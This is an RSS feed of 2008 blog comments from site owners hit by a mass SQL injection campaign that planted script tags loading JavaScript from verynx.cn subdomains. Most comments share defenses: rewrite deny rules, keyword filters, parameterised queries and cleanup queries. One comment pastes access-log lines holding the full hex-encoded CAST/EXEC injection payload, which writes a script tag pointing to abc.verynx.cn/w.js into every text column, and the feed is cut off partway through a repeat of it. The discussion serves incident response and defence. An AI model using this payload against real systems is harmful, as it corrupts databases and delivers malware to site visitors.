<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.1.2" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
	<title>Comments on: SQL Injection Hack using CAST from 1.verynx.cn</title>
	<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html</link>
	<description>rtraction blog</description>
	<pubDate>Thu, 20 Nov 2008 16:23:57 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.1.2</generator>

	<item>
		<title>By: Marc Lieberman</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9163</link>
		<author>Marc Lieberman</author>
		<pubDate>Tue, 22 Jul 2008 14:54:52 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9163</guid>
					<description>Our website was hit with this injection attack yesterday.  Before the verynx.cn domain was shut down, what would happen to a user who visited our website, in case we start getting calls from people wondering if they received a virus or wondering if their credit card information is safe?

Also, this attack seems to have targeted ColdFusion sites specifically, and the first recommendation I found was to make sure you are using .  I'm surprised this wasn't mentioned under how to prevent SQL injection hacks.</description>
		<content:encoded><![CDATA[<p>Our website was hit with this injection attack yesterday.  Before the verynx.cn domain was shut down, what would happen to a user who visited our website, in case we start getting calls from people wondering if they received a virus or wondering if their credit card information is safe?</p>
<p>Also, this attack seems to have targeted ColdFusion sites specifically, and the first recommendation I found was to make sure you are using .  I&#8217;m surprised this wasn&#8217;t mentioned under how to prevent SQL injection hacks.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: devit</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9165</link>
		<author>devit</author>
		<pubDate>Tue, 22 Jul 2008 15:48:23 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9165</guid>
					<description>From our digging the domain verynx.cn isn't actually down, but the offending sub domain 1.verynx.cn is down - and as far as we are aware it was down all day yesterday.

We did however manage to dig up at least a portion of the payload. If for some reason users had it the infected website while the payload was available it would have installed a virus on their computer.

We'll leave out the details of how the payload was loaded onto the users computer as theres no need to spread that type of information.

Marc it looks like in your sentence about "the first recommendation I found was..." is missing the last word? We're assuming your going to suggest a cold fusion specific function to clean the input?

Please clarify and we will gladly update the article.

Thanks</description>
		<content:encoded><![CDATA[<p>From our digging the domain verynx.cn isn&#8217;t actually down, but the offending sub domain 1.verynx.cn is down - and as far as we are aware it was down all day yesterday.</p>
<p>We did however manage to dig up at least a portion of the payload. If for some reason users had it the infected website while the payload was available it would have installed a virus on their computer.</p>
<p>We&#8217;ll leave out the details of how the payload was loaded onto the users computer as theres no need to spread that type of information.</p>
<p>Marc it looks like in your sentence about &#8220;the first recommendation I found was&#8230;&#8221; is missing the last word? We&#8217;re assuming your going to suggest a cold fusion specific function to clean the input?</p>
<p>Please clarify and we will gladly update the article.</p>
<p>Thanks</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: devit</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9184</link>
		<author>devit</author>
		<pubDate>Wed, 23 Jul 2008 12:28:16 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9184</guid>
					<description>Thanks Marc - We believe you're correct - This attack appears to be directly targeted at coldfusion.

We believe the command you left out above was the cfqueryparams function.

Thanks for the tip,
Devit</description>
		<content:encoded><![CDATA[<p>Thanks Marc - We believe you&#8217;re correct - This attack appears to be directly targeted at coldfusion.</p>
<p>We believe the command you left out above was the cfqueryparams function.</p>
<p>Thanks for the tip,<br />
Devit</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: IH8IT</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9186</link>
		<author>IH8IT</author>
		<pubDate>Wed, 23 Jul 2008 13:05:09 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9186</guid>
					<description>For the less versed among use, can someone expand on the statement above as to how to "ensure the user connecting to your database doesn’t have execute permissions.". How can i tell "which user is connecting to my database"? And, "doesn't have execute permissions" where? In SQL, IIS, Coldfusion?...</description>
		<content:encoded><![CDATA[<p>For the less versed among use, can someone expand on the statement above as to how to &#8220;ensure the user connecting to your database doesn’t have execute permissions.&#8221;. How can i tell &#8220;which user is connecting to my database&#8221;? And, &#8220;doesn&#8217;t have execute permissions&#8221; where? In SQL, IIS, Coldfusion?&#8230;</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Marc Funaro</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9189</link>
		<author>Marc Funaro</author>
		<pubDate>Wed, 23 Jul 2008 13:53:29 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9189</guid>
					<description>For those running IIS, a quick fix for the current attack vector is to install ISAPI_Rewrite (http://www.helicontech.com -- get the latest version for free, applies rules to all websites on the server), and create a regex rule that kills the request based on the known format of the attack.  For example, the attack string contains "char(4000)" or "CHAR%284000%28" in the query string... so my config file for ISAPI_Rewrite looks like this:

# Helicon ISAPI_Rewrite configuration file
# Version 3.0.0.25

RewriteEngine on
RewriteCond %{QUERY_STRING} .*char\(4000\).* [NC]
RewriteRule . - [F]
RewriteCond %{QUERY_STRING} .*CHAR%284000%28.* [NC]
RewriteRule . - [F]

Stops the attack cold, before your application server even tries to execute.

Of course, this is a bandaid approach; one change to the attack string, and you're vulnerable yet again.  Proper user data validation and use of CFQUERYPARAM are the real answers... but for those that have to support older apps, or have a ton of code to go through, this can at least put a stop to the current threat... and it gives you quick a server-wide solution for stopping similar threats you may face while you fix your code. :)

Apache users can obviously use mod_rewrite to accomplish the same goal.

HTH</description>
		<content:encoded><![CDATA[<p>For those running IIS, a quick fix for the current attack vector is to install ISAPI_Rewrite (http://www.helicontech.com &#8212; get the latest version for free, applies rules to all websites on the server), and create a regex rule that kills the request based on the known format of the attack.  For example, the attack string contains &#8220;char(4000)&#8221; or &#8220;CHAR%284000%28&#8243; in the query string&#8230; so my config file for ISAPI_Rewrite looks like this:</p>
<p># Helicon ISAPI_Rewrite configuration file<br />
# Version 3.0.0.25</p>
<p>RewriteEngine on<br />
RewriteCond %{QUERY_STRING} .*char\(4000\).* [NC]<br />
RewriteRule . - [F]<br />
RewriteCond %{QUERY_STRING} .*CHAR%284000%28.* [NC]<br />
RewriteRule . - [F]</p>
<p>Stops the attack cold, before your application server even tries to execute.</p>
<p>Of course, this is a bandaid approach; one change to the attack string, and you&#8217;re vulnerable yet again.  Proper user data validation and use of CFQUERYPARAM are the real answers&#8230; but for those that have to support older apps, or have a ton of code to go through, this can at least put a stop to the current threat&#8230; and it gives you quick a server-wide solution for stopping similar threats you may face while you fix your code. <img src='http://www.rtraction.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Apache users can obviously use mod_rewrite to accomplish the same goal.</p>
<p>HTH</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Mike</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9191</link>
		<author>Mike</author>
		<pubDate>Wed, 23 Jul 2008 14:49:22 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9191</guid>
					<description>We were hit by these guys back in May on a classic ASP site. I think there might be more to how they went about the deed, because I am guessing that they started by running a query to list all table names. At least, I think that's how they figured out the syntaxt for the actual injection.</description>
		<content:encoded><![CDATA[<p>We were hit by these guys back in May on a classic ASP site. I think there might be more to how they went about the deed, because I am guessing that they started by running a query to list all table names. At least, I think that&#8217;s how they figured out the syntaxt for the actual injection.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Al</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9193</link>
		<author>Al</author>
		<pubDate>Wed, 23 Jul 2008 16:56:29 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9193</guid>
					<description>Hi there. Thanks for the info on this. We've been hit with this repeatedly over the last 4 days. We're scratching our heads as to how it's getting in. We found one likely place, and closed that door, but it was back within 24 hours. We're searching for more leaks in our coding... We are on a Cold Fusion platform also.

One thing we did was build a little function looking for the following terms in user entry:

declare
execute
select
varchar

We are logging those source IPs to a table and throwing CFABORT immediately for any subsequent traffic. Not really helpful. We collected over 10,000 unique IP addresses in 24 hours, and were attacked again.

Our symptoms have been the same as mentioned here. This little attack appends a javascript to the end of just about every field in every table (varchars). The js in our database today was pointed at http://abc.verynx.cn/w.js - but it's been a different subdomain each time.</description>
		<content:encoded><![CDATA[<p>Hi there. Thanks for the info on this. We&#8217;ve been hit with this repeatedly over the last 4 days. We&#8217;re scratching our heads as to how it&#8217;s getting in. We found one likely place, and closed that door, but it was back within 24 hours. We&#8217;re searching for more leaks in our coding&#8230; We are on a Cold Fusion platform also.</p>
<p>One thing we did was build a little function looking for the following terms in user entry:</p>
<p>declare<br />
execute<br />
select<br />
varchar</p>
<p>We are logging those source IPs to a table and throwing CFABORT immediately for any subsequent traffic. Not really helpful. We collected over 10,000 unique IP addresses in 24 hours, and were attacked again.</p>
<p>Our symptoms have been the same as mentioned here. This little attack appends a javascript to the end of just about every field in every table (varchars). The js in our database today was pointed at <a href="http://abc.verynx.cn/w.js" rel="nofollow">http://abc.verynx.cn/w.js</a> - but it&#8217;s been a different subdomain each time.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: James</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9195</link>
		<author>James</author>
		<pubDate>Wed, 23 Jul 2008 17:59:50 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9195</guid>
					<description>This code worked excellent - it stripped all records of 1.verynx
HOWEVER as of 16:37 pm 23 July (got hit earlier with 1.verynx) - its hit again, this time using abc.verynx.cn - i tried ammending the above script to find abc.verynx instead but it wont work :( am i missing something?</description>
		<content:encoded><![CDATA[<p>This code worked excellent - it stripped all records of 1.verynx<br />
HOWEVER as of 16:37 pm 23 July (got hit earlier with 1.verynx) - its hit again, this time using abc.verynx.cn - i tried ammending the above script to find abc.verynx instead but it wont work <img src='http://www.rtraction.com/blog/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> am i missing something?</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: IH8IT</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9196</link>
		<author>IH8IT</author>
		<pubDate>Wed, 23 Jul 2008 18:54:59 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9196</guid>
					<description>OK, this is getting rediculous. I have been hit with this 3 times, twice today alone. The latest redirect is to "abc.verynx.cn".</description>
		<content:encoded><![CDATA[<p>OK, this is getting rediculous. I have been hit with this 3 times, twice today alone. The latest redirect is to &#8220;abc.verynx.cn&#8221;.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Frank W</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9197</link>
		<author>Frank W</author>
		<pubDate>Wed, 23 Jul 2008 20:03:25 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9197</guid>
					<description>Hi, 

If someone had been to a site that's infected by the 1.verynx.cn (virus?) would a commercial virus program be able to detect it and remove it?  Like Norton, Zone Alaram, Kaspersky, etc...?  And yes I've watched the DNS go from 127.0.0.1 to other values that work!  It's still out there and going on!  Patch your sites!

Thanks,
Frank</description>
		<content:encoded><![CDATA[<p>Hi, </p>
<p>If someone had been to a site that&#8217;s infected by the 1.verynx.cn (virus?) would a commercial virus program be able to detect it and remove it?  Like Norton, Zone Alaram, Kaspersky, etc&#8230;?  And yes I&#8217;ve watched the DNS go from 127.0.0.1 to other values that work!  It&#8217;s still out there and going on!  Patch your sites!</p>
<p>Thanks,<br />
Frank</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Pedro Claudio</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9210</link>
		<author>Pedro Claudio</author>
		<pubDate>Thu, 24 Jul 2008 06:41:53 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9210</guid>
					<description>Hi, devit To prevent a coldfusion http://pcsilva.blogspot.com/2008/07/sql-injection.html .

For other languages can transcribe, of course remember to add the name of the friend.</description>
		<content:encoded><![CDATA[<p>Hi, devit To prevent a coldfusion <a href="http://pcsilva.blogspot.com/2008/07/sql-injection.html" rel="nofollow">http://pcsilva.blogspot.com/2008/07/sql-injection.html</a> .</p>
<p>For other languages can transcribe, of course remember to add the name of the friend.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Karen</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9211</link>
		<author>Karen</author>
		<pubDate>Thu, 24 Jul 2008 07:12:05 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9211</guid>
					<description>Earlier today I experienced this injection and repaired it. Then it occurred again, this time the sub domain in the code changed to abc.verynx.cn. Is this one down as well? I have repaired it again (thanks to the tip above which eliminated the need to restore a backup) but I obviously need to get to work on my CF scripts to prevent this. Not even sure where to start..</description>
		<content:encoded><![CDATA[<p>Earlier today I experienced this injection and repaired it. Then it occurred again, this time the sub domain in the code changed to abc.verynx.cn. Is this one down as well? I have repaired it again (thanks to the tip above which eliminated the need to restore a backup) but I obviously need to get to work on my CF scripts to prevent this. Not even sure where to start..</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Robert</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9215</link>
		<author>Robert</author>
		<pubDate>Thu, 24 Jul 2008 09:27:48 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9215</guid>
					<description>I have done some digging around on this subject since my server was attacked yesterday and found:

1.verynx.cn points to 127.0.0.1 and is blocked by Firefox (at least version 3) but not Internet Explorer.

Following CF at the top of your application.cfm page is quite efficient against any kind of injection attacks (at least as far as I now know):


 
	 


I may have been a little overcautious with maybe too long a list, but I'm rather safe than sorry. If anyone has a better idea??

I used HP Srawlr 1.0 to scan my site for vulnerabilities and found that cfqueryparam alone isn't enough.</description>
		<content:encoded><![CDATA[<p>I have done some digging around on this subject since my server was attacked yesterday and found:</p>
<p>1.verynx.cn points to 127.0.0.1 and is blocked by Firefox (at least version 3) but not Internet Explorer.</p>
<p>Following CF at the top of your application.cfm page is quite efficient against any kind of injection attacks (at least as far as I now know):</p>
<p>I may have been a little overcautious with maybe too long a list, but I&#8217;m rather safe than sorry. If anyone has a better idea??</p>
<p>I used HP Srawlr 1.0 to scan my site for vulnerabilities and found that cfqueryparam alone isn&#8217;t enough.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Sharona</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9217</link>
		<author>Sharona</author>
		<pubDate>Thu, 24 Jul 2008 10:12:25 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9217</guid>
					<description>We just had an attack on our server today. It wasn't a coldfusion one, it was MSSql Server one. I was just wandering how these guys get into the db and update EVERY field??!!

i created a script to remove it. hopefully this might help somebody out there with removing the code that was inserted into their db:

update TABLENAME
set FIELDNAME = replace(FIELDNAME,'"&#62;</description>
		<content:encoded><![CDATA[<p>We just had an attack on our server today. It wasn&#8217;t a coldfusion one, it was MSSql Server one. I was just wandering how these guys get into the db and update EVERY field??!!</p>
<p>i created a script to remove it. hopefully this might help somebody out there with removing the code that was inserted into their db:</p>
<p>update TABLENAME<br />
set FIELDNAME = replace(FIELDNAME,&#8217;&#8221;&gt;</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: MichelV</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9223</link>
		<author>MichelV</author>
		<pubDate>Thu, 24 Jul 2008 10:32:33 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9223</guid>
					<description>I did get this from other IPs starting 24 July. Looks like it is moving. IPs from USA and Canada, I am currently counting up to 4 different ones.</description>
		<content:encoded><![CDATA[<p>I did get this from other IPs starting 24 July. Looks like it is moving. IPs from USA and Canada, I am currently counting up to 4 different ones.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Luis Melo</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9228</link>
		<author>Luis Melo</author>
		<pubDate>Thu, 24 Jul 2008 14:51:57 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9228</guid>
					<description>Our system was not SQL Injection proof and we recently suffered an attack that corrupted the data in some of our database tables. The attack was quite elegant and fortunately did not cause severe damage other than the appending of a SCRIPT sting to a bunch of VARCHAR fields. This was meant to actually execute a JS file and this qualifies as a XSS attack.
In researching the Web for a solution for the problem, and a way to immunize our CF application against further attacks, we came across the CFQUERYPARAM solution, but our application has over 5000 files, each with one or more Queries and Stored Procedure calls. Implementing such a solution in such an extensive amount of files was impossible in a timely fashion, so I looked for another solution and came across a ColdFusion written function (isSqlInjection) that showed some promise but some shortcomings as well.
I wanted something that we could deploy fast and that would immunize the entire application in one single swoop.
As far as I understand, SQL injections can come from either FORM fields or from URL passed variables. Therefore we developed a function that was placed in our application.cfm and therefore used by all our CFM files. The function used a custom developed Regular Expression to check all URL and FORM fields for possible SQL Injections.
We were able to develop this in one day and implement it immediately. That same night we were able to catch and prevent 2 more SQL Injection attempts.
We have since improved the script and it now does the following:
•	Checks all FORM and URL input for SQL injection code
•	Interfaces (CFHTTP) with ARIN WHOIS Database Search (http://ws.arin.net/whois/) to get ISP information for the offender’s IP.
•	Automatically sends an abuse report to the ISP concerning the attack.
•	Displays a message informing the hacker that the attack was logged, that his/her ISP was contacted and that he/she is breaking the law
•	Sends us an email with the SQL Injection string, IP address and other information.
•	Stores the hacker’s IP address in an APPLICATION array (Black List).
o	Each time a page in our application is requested, the IP address (CGI.REMOTE_ADDR) is compared with those  in the Black List and if it is present, page execution is halted right at the application.cfm level returning a blank page to the browser
o	Black List entries that are older than one hour are cleared by a scheduled task on an hourly basis.
We are making this code available to other CF developers for free. Please request a copy by email. luism@grouptraveltech.com.
If after receiving it you have suggestions or improvements, please send them my way as well.</description>
		<content:encoded><![CDATA[<p>Our system was not SQL Injection proof and we recently suffered an attack that corrupted the data in some of our database tables. The attack was quite elegant and fortunately did not cause severe damage other than the appending of a SCRIPT sting to a bunch of VARCHAR fields. This was meant to actually execute a JS file and this qualifies as a XSS attack.<br />
In researching the Web for a solution for the problem, and a way to immunize our CF application against further attacks, we came across the CFQUERYPARAM solution, but our application has over 5000 files, each with one or more Queries and Stored Procedure calls. Implementing such a solution in such an extensive amount of files was impossible in a timely fashion, so I looked for another solution and came across a ColdFusion written function (isSqlInjection) that showed some promise but some shortcomings as well.<br />
I wanted something that we could deploy fast and that would immunize the entire application in one single swoop.<br />
As far as I understand, SQL injections can come from either FORM fields or from URL passed variables. Therefore we developed a function that was placed in our application.cfm and therefore used by all our CFM files. The function used a custom developed Regular Expression to check all URL and FORM fields for possible SQL Injections.<br />
We were able to develop this in one day and implement it immediately. That same night we were able to catch and prevent 2 more SQL Injection attempts.<br />
We have since improved the script and it now does the following:<br />
•	Checks all FORM and URL input for SQL injection code<br />
•	Interfaces (CFHTTP) with ARIN WHOIS Database Search (http://ws.arin.net/whois/) to get ISP information for the offender’s IP.<br />
•	Automatically sends an abuse report to the ISP concerning the attack.<br />
•	Displays a message informing the hacker that the attack was logged, that his/her ISP was contacted and that he/she is breaking the law<br />
•	Sends us an email with the SQL Injection string, IP address and other information.<br />
•	Stores the hacker’s IP address in an APPLICATION array (Black List).<br />
o	Each time a page in our application is requested, the IP address (CGI.REMOTE_ADDR) is compared with those  in the Black List and if it is present, page execution is halted right at the application.cfm level returning a blank page to the browser<br />
o	Black List entries that are older than one hour are cleared by a scheduled task on an hourly basis.<br />
We are making this code available to other CF developers for free. Please request a copy by email. <a href="mailto:luism@grouptraveltech.com.">luism@grouptraveltech.com.</a><br />
If after receiving it you have suggestions or improvements, please send them my way as well.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Ben</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9232</link>
		<author>Ben</author>
		<pubDate>Thu, 24 Jul 2008 18:17:20 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9232</guid>
					<description>The company I contract for was hit with this. It appended the script to every varchar/text field. Thanks for a look at the unobfuscated code. I got here searching on 1.verynx.cn/w.js and so to others who do the same:

as mentioned above, cfqueryparam is good for escaping all data,ie:
cfqueryparam value="#FORM.first_name#" cfsqltype="CF_SQL_VARCHAR"
cfqueryparam value="#URL.id" cfsqltype="CF_SQL_INTEGER"

Our (naive) mistake was in believing that only input/form data was vulnerable - and not dynamic urls that pull simple select statements.

Other solutions might involve creating a read-only db user for any read only areas, scanning the db at intervals for script/object/iframe etc.

I also found a script that runs through and examines all your queries to make sure they're parameterized which we found useful:
http://www.cfprimer.com/downloads.cfm

My php/mysql sites were also hit (but failed, fortunately) - while the above targets SQL Server, I read somewhere else that there's a working MySQL version of this.

I believe the js installed a zombie virus, to be called upon to propagate the attack. Tracing the IPs where we were getting hit from, many were from cable connections in the states. Very sci fi.</description>
		<content:encoded><![CDATA[<p>The company I contract for was hit with this. It appended the script to every varchar/text field. Thanks for a look at the unobfuscated code. I got here searching on 1.verynx.cn/w.js and so to others who do the same:</p>
<p>as mentioned above, cfqueryparam is good for escaping all data,ie:<br />
cfqueryparam value=&#8221;#FORM.first_name#&#8221; cfsqltype=&#8221;CF_SQL_VARCHAR&#8221;<br />
cfqueryparam value=&#8221;#URL.id&#8221; cfsqltype=&#8221;CF_SQL_INTEGER&#8221;</p>
<p>Our (naive) mistake was in believing that only input/form data was vulnerable - and not dynamic urls that pull simple select statements.</p>
<p>Other solutions might involve creating a read-only db user for any read only areas, scanning the db at intervals for script/object/iframe etc.</p>
<p>I also found a script that runs through and examines all your queries to make sure they&#8217;re parameterized which we found useful:<br />
<a href="http://www.cfprimer.com/downloads.cfm" rel="nofollow">http://www.cfprimer.com/downloads.cfm</a></p>
<p>My php/mysql sites were also hit (but failed, fortunately) - while the above targets SQL Server, I read somewhere else that there&#8217;s a working MySQL version of this.</p>
<p>I believe the js installed a zombie virus, to be called upon to propagate the attack. Tracing the IPs where we were getting hit from, many were from cable connections in the states. Very sci fi.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: tieguy</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9238</link>
		<author>tieguy</author>
		<pubDate>Fri, 25 Jul 2008 00:37:09 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9238</guid>
					<description>Help Please
I have seen this in my log files
called ipower and linked them this site still no help
have a look at the latest logs
started last night
59.36.21.120 - - [23/Jul/2008:12:54:39 -0400] "GET /?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40
432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073
656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E732
06220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D393
9206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F504
54E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544
F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065786563282775706461746
5205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C7363726
97074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D2
72720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633
D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D27272729464554
4348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F53452054
61626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
 HTTP/1.1" 200 18806 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
59.36.21.120 - - [23/Jul/2008:12:54:39 -0400] "GET /?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40
432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073
656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E732
06220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D393
9206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F504
54E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544
F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065786563282775706461746
5205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372
697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2
D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073726
33D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645
544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F534520
5461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
 HTTP/1.1" 200 18806 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"


Then today ::

59.6.82.62 - - [24/Jul/2008:07:59:25 -0400] "GET / HTTP/1.1" 403 825 "-" "Microsoft URL Control - 6.00.8169"
208.80.193.40 - - [24/Jul/2008:08:00:13 -0400] "GET / HTTP/1.0" 200 36899 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SIMBAR Enabled; SIMBAR={CF07971C-C698-451d-BAB9-18491326916A}; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; Media Center PC 2.8; MEGAUPLOAD 1.0)"
208.80.193.36 - - [24/Jul/2008:13:02:02 -0400] "GET / HTTP/1.0" 200 36899 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft; ZangoToolbar 4.8.2)"


WTF is this?</description>
		<content:encoded><![CDATA[<p>Help Please<br />
I have seen this in my log files<br />
called ipower and linked them this site still no help<br />
have a look at the latest logs<br />
started last night<br />
59.36.21.120 - - [23/Jul/2008:12:54:39 -0400] &#8220;GET /?&#8217;;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0&#215;4445434C415245204054207661726368617228323535292C40<br />
432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073<br />
656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E732<br />
06220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D393<br />
9206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F504<br />
54E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544<br />
F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065786563282775706461746<br />
5205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C7363726<br />
97074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D2<br />
72720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633<br />
D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D27272729464554<br />
4348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F53452054<br />
61626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);<br />
 HTTP/1.1&#8243; 200 18806 &#8220;-&#8221; &#8220;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)&#8221;<br />
59.36.21.120 - - [23/Jul/2008:12:54:39 -0400] &#8220;GET /?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0&#215;4445434C415245204054207661726368617228323535292C40<br />
432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073<br />
656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E732<br />
06220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D393<br />
9206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F504<br />
54E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544<br />
F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065786563282775706461746<br />
5205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372<br />
697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2<br />
